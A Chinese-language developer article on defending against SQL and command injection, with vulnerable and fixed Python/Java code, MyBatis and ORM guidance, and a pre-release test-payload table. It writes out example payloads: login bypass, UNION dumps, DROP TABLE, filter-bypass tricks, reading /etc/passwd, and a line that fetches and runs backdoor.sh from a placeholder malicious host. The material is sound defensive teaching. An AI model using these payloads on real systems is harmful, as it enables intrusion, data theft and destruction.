后端开发做到一定年限,总会在安全上栽过跟头。SQL注入与命令注入这两类漏洞算是Web应用里最“经典”的攻击手法了——参数篡改、权限绕过、数据拖走、甚至直接在服务器上执行系统命令,每一步操作都已经被研究得明明白白,可直到今天,依然有大量系统在犯同样的错误。原因倒不复杂:这两类漏洞的根源不是“代码写错了”,而是开发者在写代码时把“用户输入”放到了一个不该放的位置——SQL语句的位置,或者system()命令的位置。它俩的防御思路高度一致,完全可以一起讲透。这篇文章就来聊聊,参数化查询为什么是SQL注入的第一道也是最重要的防线,命令注入为什么必须用白名单思维去收口,以及我这些年踩过的坑和总结出来的排坑方法。如果你是后端开发、运维工程师,或者正在给老系统做安全加固,这些内容可以直接拿来用。
1. 注入攻击的本质:数据被放进了代码区
1.1 用点菜的类比看懂注入
理解SQL注入与命令注入,不需要一开始就钻进语法细节。我习惯用一个生活化的类比来解释:你去饭店吃饭,菜单上“菜品名称”这一栏填的是数据,后厨根据这个名称决定做什么菜。但如果服务员把你的回答直接当成“制作流程”读给后厨,那就不再是点菜了。比如你在菜单上写“宫保鸡丁,不要鸡丁,换成石头”,如果后厨真把这句话当成菜谱来执行,结果就很荒唐。
注入攻击就是同一件事:应用程序把用户输入当成了待执行的代码或指令片段。SQL注入是把用户输入拼进了SQL语句,命令注入是把用户输入拼进了系统命令字符串。这个“当成代码执行”的动作一旦发生,攻击者输入的就不再是普通文本,而是逻辑、分支、注释,甚至另一条完整指令。
明白这个类比,就能理解为什么SQL注入和命令注入永远是一对。前者危害是数据层被突破,后者是操作系统层被突破。它们的发生机制完全一致,防御思路也因此高度同源:让数据永远只能是数据,不能变成可执行逻辑。
1.2 从一条SQL的执行生命周期看漏洞的形成
一条SQL从代码到数据库执行,大致经过组装、解析、执行三个阶段。未做防护的代码往往在“组装”这一步就出了问题。
举例来说,用户登录时,代码可能是这样:
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";username和password直接拼进字符串。如果攻击者在用户名里输入:
admin' --拼出来的完整SQL变成:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意值'在多数主流数据库里,--是注释符,后面的内容等于不存在。这条SQL就退化成了“查一下有没有admin这个用户”。只要用户名存在,就能直接登录。攻破门槛就是这么低。
真正的问题在于:攻击者控制的输入参与了SQL语句的逻辑结构,而不是作为数据存在。数据库解析这条SQL时,看到的是一条语义完整的、被攻击者改写过逻辑的语句,和开发者的原意完全不同。
命令注入的生命周期也类似,只是把“解析SQL”换成了“解析shell命令”。某个运维平台有个“连通性检测”功能,代码写的是:
subprocess.run(f"ping -c 4 {host}", shell=True)攻击者在host参数里传:
127.0.0.1; id实际执行的是:
ping -c 4 127.0.0.1; id分号在shell里是命令分隔符。前面的ping照常执行,后面的id也顺势被执行了。如果换成cat /etc/passwd、下载并执行木马程序,服务器权限就当场交出去了。
1.3 输入校验为什么只能当辅助,不能当主力
不少团队的第一个反应是做输入校验:过滤单引号、过滤分号、过滤关键词,甚至上WAF。过滤能起到一定作用,但把它当主力防线,是很危险的事。
这个危险有两层。第一层,黑名单永远不可能做全。攻击者面对黑名单,可以换编码、换大小写、换注释写法、换等价函数,比如用/**/代替空格、用CHAR(39)代替单引号、用${IFS}代替空格。任何一种绕过方式生效,整个过滤体系就形同虚设。
第二层,也是最容易被忽略的:很多输入本身看起来完全“合法”。比如127.0.0.1; id里的字符,除了分号,剩下的都是正常字符;admin' OR '1'='1里的内容,如果不拼进SQL,就只是一堆无意义字符串。单纯按“是否包含危险字符”去判断,不但容易误伤正常业务,而且覆盖不了变种攻击。
我见过一个真实案例,某项目上线前专门做了一层“特殊字符消毒”,把所有请求里的单引号、分号、括号都替换成空字符串。结果攻击者用%27之类的URL编码绕过了过滤,在后端反解码后照样注入了。这种教训说明,在数据源头做黑名单过滤,本质上是和攻击者玩猜谜游戏,防御方向就错了。
正确的思路是:把防线放在“数据如何被使用”的位置上。与其判断输入“有没有毒”,不如从机制上让输入根本没有机会变成代码。这就是参数化查询和命令参数数组这类方案的核心价值。
2. SQL注入防御:参数化是第一道防线
2.1 参数化查询为什么管用
参数化查询,也叫预编译语句,是目前防御SQL注入最可靠、最通用的手段。Java里的PreparedStatement、Python里sqlite3/psycopg2的占位符写法、Go里database/sql的?占位符、MyBatis里的#{},本质上都在做同一件事。
它的工作机制可以这样理解:先把SQL语句写成一个固定骨架发送给数据库,让数据库完成解析和生成执行计划的过程,此时SQL里只有结构、没有用户数据。真正的参数值在后续单独通过协议传进去,只当作字符串字面量或数字字面量处理。
预编译状态下,输入内容是无法改变SQL结构的。你传给PreparedStatement的参数值里哪怕包含' OR '1'='1,数据库也只是把这个字符串当作一个普通的username值去比对,不存在变成语句逻辑的空间。
用代码看就很直观。前面那条登录SQL改成参数化之后是这样的:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password); ResultSet rs = ps.executeQuery();攻击者输入admin' --,数据库收到的是“在username字段里查一个值为admin' --的用户”,而不是“以admin绕过密码校验”。如果这个用户不存在,登录自然失败。
参数化查询还有一个容易被忽略的好处:它顺带解决了SQL语句里一部分类型转换和引号转义问题。开发者在拼字符串时经常漏掉对数字型参数的强转,比如把age字段直接拼成WHERE age = " + age + ",一旦age被塞进1 OR 1=1,整表数据都会暴露。参数化之后,驱动会按字段类型做转换,这类问题基本不会出现。
2.2 常见“伪参数化”的写法,比不写更坑
我在代码评审里经常看到一种情况:代码写了PreparedStatement,但SQL语句本身还是用字符串拼出来的。伪参数化的典型模样是:
String sql = String.format( "SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password ); PreparedStatement ps = conn.prepareStatement(sql);看起来好像用了预编译API,但攻击者控制的输入已经在字符串拼接阶段进入了SQL结构。所谓占位符连参与的机会都没有,这比完全不用参数化更容易麻痹审查的人,因为代码表面上有prepare的痕迹,实际上注入点完整保留。
另一个高频伪参数化场景是排序字段。查询列表时,用户名、状态、时间等条件都参数化了,唯独ORDER BY后面直接拼接前端传过来的值:
String sql = "SELECT * FROM products ORDER BY " + sortField;表名列名无法参数化是客观事实,但这不代表可以直接拼接。合理做法是做一个排序字段白名单映射,前端只能传约定的key,后端用这个key去查表里允许的列名,比如把createTime映射到create_time,映射不到就返回默认排序。这样列名和用户输入之间隔了一层白名单,注入无所实施。
还有一类是MyBatis使用误区。XML里#{username}是参数化写法,但${username}是直接字符串替换。两者差别巨大。很多历史项目充斥着${}用法,尤其排序、动态表名、IN列表等处。我在一次排查中发现,某系统的搜索接口为了图方便,把用户输入的字段名用${}拼到了SQL里,导致整个列为可注入状态。后来全量扫描XML,把所有能改的${}都改成了#{},才把口子堵上。
2.3 ORM框架里的注入点与正确写法
使用ORM不代表安全无忧。框架只是帮你把“对象到SQL”的映射隐藏起来,如果使用姿势不对,照样会出现注入。
Hibernate/JPA环境下,最典型的风险是JPQL拼接。JPQL语法里字符串拼接和原生SQL几乎一样:
String jpql = "SELECT u FROM User u WHERE u.name = '" + name + "'"; Query query = entityManager.createQuery(jpql);这里的注入思路完全相同。正确做法是用参数绑定:
TypedQuery<User> query = entityManager .createQuery("SELECT u FROM User u WHERE u.name = :name", User.class) .setParameter("name", name);Spring Data JPA里用@Query注解时也一样,?1和:name这种占位符都能安全传导参数。
MyBatis方面,核心原则一句话:能用#{}就别用${}。#{}最终会生成预编译占位符,${}则是直接替换进SQL文本。涉及IN列表时,正确做法是用<foreach>展开成多个占位符:
<select id="selectByIds" resultType="..."> SELECT * FROM products WHERE id IN <foreach collection="ids" item="id" open="(" separator="," close=")"> #{id} </foreach> </select>这样生成的SQL是IN (?, ?, ?)这种预编译形态,而不是把ids整体拼进字符串。别小看这个差别,我在实际项目里见过因为图省事把${ids}整个拼进去导致被注入的情况,那次改动非常迅速。
2.4 纵深防御:最小权限、WAF与日志
参数化查询能堵住绝大多数SQL注入,但安全建设不能只靠这一道墙。纵深防御的意思是,即使某处防线失效,还有后面的防线兜底。
第一个建议是数据库账号最小权限。Web应用连接数据库的账号,原则上只需要业务所需的增删改查权限。管理后台的账号需要更高的权限,但一定不能和生产库的常规业务账号混用。很多注入攻击之所以能删库、拖库,是因为连接账号权限过大。曾经有工程师在项目里让应用账号直接用了数据库管理员权限,一次注入测试直接把整个库的表都清了。权限收了之后,即使注入点存在,攻击者能做的事也会被限制在很小的范围内。
第二个建议是合理使用WAF。WAF的价值在于旁路拦截,能挡住一部分自动化攻击和扫描器,但它不该是主防线。WAF不知道业务上下文,误报误杀是常态。把它部署在CDN或网关层,规则做合理配置,能防住一些低频扫描,但千万别因为上了WAF就把代码层防御放松了。
第三个建议是日志监控。数据库层开启慢查询日志和错误日志,留意异常SQL特征:频繁出现注释符、union关键字、报错信息里有未闭合引号等情况。如果发现某条SQL的执行计划和正常业务对不上,就要回头查代码里有没有遗漏的注入点。
3. 命令注入防御:白名单思维才是核心
3.1 命令注入的典型触发场景,比你想的常见
很多人觉得命令注入很遥远,实际上它常常出现在看起来无关紧要的功能里。
运维管理平台的连通性检测,这是最高频的场景。页面上有个输入框让你填IP或域名,后端拿这个输入去执行ping或nslookup,如果代码用字符串拼接方式调系统命令,这就是一个现成的注入点。
文件处理场景也很常见。后台需要解压上传的压缩包,直接调系统unzip命令;需要处理Excel或图片,直接调外部工具;需要做音视频转码,直接调ffmpeg。这些工具本身没问题,问题在于传入它们的文件名、参数值如果不做处理,就会形成命令注入。
批量执行场景同样要注意。定时任务脚本里如果传入了用户可控的服务器名称、文件路径、任务参数,拼接进shell命令后,攻击者就能利用特殊字符插入额外指令。
有一个细节值得单独提出来:有些开发者在写命令注入防御时,尝试过滤分号、竖线、&符号。这种黑名单思路和前面说的一样,绕过的路子无穷无尽。命令注入防御的核心不是“过滤危险字符”,而是“让用户输入根本不可能被当作命令来解析”。
3.2 能用原生API就不调系统命令
命令注入防线里最省心的一条,是从源头上不调系统命令。语言提供的原生API在绝大多数场景都能替代系统命令,而且跨平台性更好。
Java里想检测主机连通性,可以不用ping进程,改用InetAddress.isReachable()。这个方法虽然实现细节和系统ping略有差异,但大部分场景够用,关键是它不存在命令注入面。
Python里处理压缩文件,可以用zipfile或tarfile替代系统zip/unzip命令。处理文件路径时用os.path或pathlib,也能避免很多路径拼接带来的问题。
Go里执行系统命令本来就推荐exec.Command("ping", "-c", "4", host)这种参数列表形式,而不是把整个命令字符串丢给sh -c。
换API不是万能,但它把“用户输入进入系统命令解释器”的概率大幅降低。我在实际项目里看到不少命令注入案例,其实业务本身不需要那么复杂的shell语法,纯粹是因为习惯了拼字符串。做一次代码清理,把能换原生API的位置换掉,攻击面就明显缩小。
3.3 必须调命令时,参数数组比字符串拼接安全得多
有些场景确实绕不开系统命令,比如业务需要一个完整的shell管道来处理数据。这时候也有一个比拼接字符串安全得多的选择:不要让shell去解析你的命令字符串。
Python的subprocess.run,如果传入的是列表而不是字符串,底层会直接调用系统调用去执行目标程序,不再经过/bin/sh -c解析。这意味着用户输入里的分号、竖线、$()之类字符,只会作为普通参数传给目标程序,而不会被解释成shell语法。
import subprocess result = subprocess.run( ["ping", "-c", "4", host], capture_output=True, text=True )这段代码里,攻击者传127.0.0.1; id,ping收到的参数就真的是带有分号的字符串。它可能会报“未知主机”,但绝不可能执行id命令。因为整个调用链里根本没有shell参与解释。
很多语言都有类似机制。Java里的ProcessBuilder也是这个思路,传入的是命令加参数列表,不会经过shell解释。Go的exec.Command同理。这些API都在“机制上”消灭了命令注入的可能,比任何特殊字符过滤都可靠。
但如果业务真的必须使用shell特性——比如命令里需要管道、重定向、环境变量、通配符——那参数数组方案就不适用了。这种情况下,必须严格走到白名单校验这一步:对命令本身做白名单,对参数形态做白名单,双管齐下。
3.4 权限降级与沙箱是最后的兜底
即使代码层防御做得再周全,也建议再加一层权限兜底。命令注入一旦发生,攻击者获得的权限边界,取决于启动这个进程的身份。
第一原则:Web应用进程绝对不要用root或管理员身份运行。我见过不少服务器上,部署脚本一顺手就用root起了Java/Python进程,觉得省事。可一旦命令注入点被利用,攻击者拿到的就是root权限,等于整个服务器移交。
正确做法是给应用创建一个独立账号,权限只覆盖必要的目录和端口。如果应用每天只需要读写某几个目录,那就只给这几个目录的读写权限,别给全局权限。这样即使被注入了命令,攻击者能做的事情也被限制在低权限账号的地盘里。
更进一步是容器隔离。在Docker这类容器里运行应用,就算命令注入被利用,攻击者拿到的只是容器内的权限。配合只读文件系统、非root用户、资源限额,能挡住一部分横向扩散。当然,容器本身也需要防逃逸,但这是另一层话题。
还有一点容易被忽略:系统命令本身也要收口。比如服务器上用suders限定Web应用账号只能执行少数几个命令,不能执行任意命令。这能挡住攻击者拿到权限后直接跑chmod、curl下载木马等危险操作。
4. 实操对比:同一个功能的安全写法与漏洞写法
4.1 场景设定:某个任务管理系统的两个接口
为了让上面的原理更直观,我构造一个模拟项目X里的任务管理系统,包含两个典型接口:用户登录、主机连通性检测。这个场景足够有代表性——登录接口代表了所有“条件查询+校验类”接口,连通性检测代表了所有“调用外部命令类”接口。
项目背景是一个普通的内部管理系统,前端提交表单,后端用Python处理业务。登录模块在立项时为了快速上线,代码写得图省事;连通性模块则是一个配套运维功能。这个场景是虚构的,但代码结构和问题形态,跟我实际排查过的多个项目高度相似。
4.2 SQL注入现场:登录绕过的全过程
漏洞版本登录接口长这样:
username = request.form.get("username", "") password = request.form.get("password", "") sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'" cursor.execute(sql)如果攻击者在用户名框输入:
admin' --后端拼出来的SQL就变成:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456'--是数据库注释符,把后面的密码条件全部注释掉。只要admin这个用户存在,登录就通过了。攻击者甚至不需要密码。
如果用户名输入:
' UNION SELECT id, username, password FROM users --数据库会在原查询后面联合一次全表查询,把用户表的账号密码列表直接返回。这就是典型的数据拖库手法。更危险的还有:
admin'; DROP TABLE users; --在支持堆叠查询的数据库环境下,这条语句会把用户表直接删掉。即便数据库没有开启堆叠查询,前面的注入也足以完成权限绕过。
这段代码的问题暴露得清清楚楚:用户输入参与了SQL语句结构。修复版本就是用参数化占位符:
sql = "SELECT * FROM users WHERE username = ? AND password = ?" cursor.execute(sql, (username, password))修复后,admin' --只会被当作一个普通字符串去匹配username字段,不再具备改写SQL结构的能力。登录自然失败,因为系统里不存在用户名为admin' --的人。
4.3 命令注入现场:主机检测功能的上线即沦陷
漏洞版本的主机连通性检测功能长这样:
host = request.form.get("host", "") result = subprocess.run(f"ping -c 4 {host}", shell=True, capture_output=True, text=True)这个功能本意是让运维人员输入一个IP,后端ping一下看通不通。事实上这个输入框没有任何校验。攻击者在host框里输入:
127.0.0.1; curl http://恶意地址/backdoor.sh | sh后端实际执行的是:
ping -c 4 127.0.0.1; curl http://恶意地址/backdoor.sh | sh先ping,然后立刻从远程下载脚本并执行。服务器权限直接失守。更隐蔽一点的载荷可以是:
127.0.0.1 & cat /etc/passwd > /tmp/1.txt&在shell里是后台执行符,整个命令照样能跑通,攻击者把系统文件导出来慢慢看。
修复版本有两层。第一层,参数形态做白名单校验:
import re host = request.form.get("host", "") if not re.fullmatch(r"[\w.-]+", host): return "参数不合法" result = subprocess.run( ["ping", "-c", "4", host], capture_output=True, text=True )[\w.-]+能覆盖绝大多数合法的域名和IPv4地址形态。当host里出现分号、竖线、&、空格、$()时,正则直接拒绝。第二层,用参数列表调用ping,即使host里还有漏网的特殊字符,它也只会被当作参数传给ping程序,而不会被shell解释成新命令。
这两层叠加之后,命令注入的空间基本被压缩没了。
4.4 修复后代码对照与技术要点
把两个功能修复后的代码放在一起看,会发现它们的共同点:用户输入都变成了“数据”,而不是“代码的一部分”。
登录接口的修复关键在占位符,让SQL语句结构先固定,参数后期再传。主机检测的修复关键在两个动作:参数列表调用绕过了shell解释器,正则白名单收紧了输入形态。
修复时还有一个容易忽略的细节:不要自己写“安全的转义函数”。比如用一个函数把单引号替换成''就以为安全了,不同数据库、不同编码环境下的处理规则并不一致,很容易出现漏转义。直接用现成的参数化API,比自己造轮子可靠得多。同样的道理,命令注入防御里也不要试图用正则清理所有“危险字符”,定义清楚“什么输入合法”比枚举“什么输入非法”靠谱。
另外,修复代码后一定要补回归测试。把攻击载荷放到测试用例里,验证它们不再生效。防注入不是改完代码就结束了,如果后续重构不小心把某处改回拼接写法,回归测试就能第一时间发现。
5. 常见问题速查表与排坑技巧
5.1 高频问题与排查手段
| 问题现象 | 风险点 | 排查要点 | 解决方案 |
|---|---|---|---|
| 登录接口被绕过 | SQL语句直接拼接 | 看DAO层代码是否用了字符串拼接 | 改为参数化查询或#{} |
| MyBatis查询异常或注入成功 | XML里误用${} | 全局搜索XML文件里的${ | 业务参数改用#{} |
| 用户表被删 | 堆叠查询未关闭 | 查看数据库日志中是否存在多条SQL | 关闭数据库驱动的multiQueries参数 |
| 排序字段异常 | ORDER BY动态拼接 | 看查询代码里sortField的来源 | 建立列名白名单映射 |
| 命令执行功能异常 | 系统命令字符串拼接 | 查看日志中完整命令 | 改用参数列表调用+白名单校验 |
| 过滤了单引号仍然被注入 | 黑名单思路存在绕过 | 确认是否存在编码转换层 | 放弃黑名单,改用参数化机制 |
这表格里的每一条,我都在不同项目里遇到过。其中“过滤了单引号仍然被注入”最典型。某个团队在网关层把单引号、双引号、分号全部替换为空,表面看防住了常见注入,但攻击者使用URL编码、Unicode编码或数据库注释符变体,照样绕过。排坑时我给出的建议是:在应用层前置反向代理后面加一层解码日志,把最终到达后端的参数值记录下来,对照攻击样本查看实际内容,很快就能定位绕过点。
5.2 发版前自测载荷清单
每次发版前,我都会让测试同学在手工测试清单里固定加一组注入自测载荷。不要觉得这是形式主义,很多埋藏的注入点恰恰是测试时没人主动试,等业务跑起来才被利用。
| 功能点 | 测试载荷 | 预期正确结果 |
|---|---|---|
| 登录用户名 | admin' OR '1'='1 | 登录失败 |
| 搜索参数 | 1; DROP TABLE products-- | 无异常SQL执行,返回空结果或报错,但不能删表 |
| 排序字段 | createTime; DROP TABLE products-- | 排序白名单拦截,返回默认排序 |
| 主机连通性 | 127.0.0.1; id | 拒绝请求或只显示ping结果,不显示id输出 |
| 文件名参数 | `test.txt | cat /etc/passwd` |
| 数字型参数 | 1 OR 1=1 | 仅返回id等于1的数据 |
这些载荷覆盖了SQL注入和命令注入常用的闭合、注释、堆叠、管道四种特征。自查时如果发现任一载荷生效,说明对应的防御层还有缺口,必须处理完再发版。
5.3 老系统安全加固的三步走
存量系统做安全加固,最现实的问题不是不知道方案,而是代码量大、不敢乱动。我建议按三步走推进。
第一步,全量扫描摸清家底。用IDE的全局搜索特性,把项目里所有SQL字符串拼接的痕迹全找出来,重点搜“SELECT”“INSERT”“UPDATE”“DELETE”这些关键字附近是否出现了字符串加号、format、concat、f-string等写法。系统命令调用同样处理,搜system、exec、subprocess、ProcessBuilder、Runtime.getRuntime等调用点。把找到的位置整理成清单,按危险等级排序。
第二步,高优模块优先修复。登录、支付、后台管理、用户数据查询属于高危模块,一旦被注入造成的损失最大,先动手。排序字段、报表查询、导出功能等中危场景第二批次处理。低危的展示页可以放在后面,但不能无限期拖延。每改完一个模块,把对应的攻击载荷跑一遍,确认注入不再生效。
第三步,建立长效机制。修复只是起点,防止新代码再引入同类问题才是关键。团队代码评审时把“是否参数化”“是否使用白名单”作为固定检查项,CI流水线里可以加一些简单的关键字扫描,比如对+ username +、${、shell=True这类写法出警告。这些措施不复杂,但能有效拦下大多数回头路。
我从实际经验看,三星期左右能把一个中等规模的老系统清扫一遍。过程枯燥,收益是长期的。
最后再分享一点个人体会:做安全加固做得多了,你会发现最大的敌人不是攻击者,而是开发过程中的“觉得安全”。觉得只是内部系统无所谓,觉得输入框没人会乱填,觉得WAF已经挡住了,这些想法往往就是漏洞滋生的土壤。SQL注入与命令注入的防御,本质上是把“用户输入如何被使用”这个问题刻到日常编码习惯里——写每条SQL前先问一句“这条语句能参数化吗”,写每次系统调用前先问一句“这个输入会被shell解析吗”。多问这两句,很多风险根本到不了上线那一天。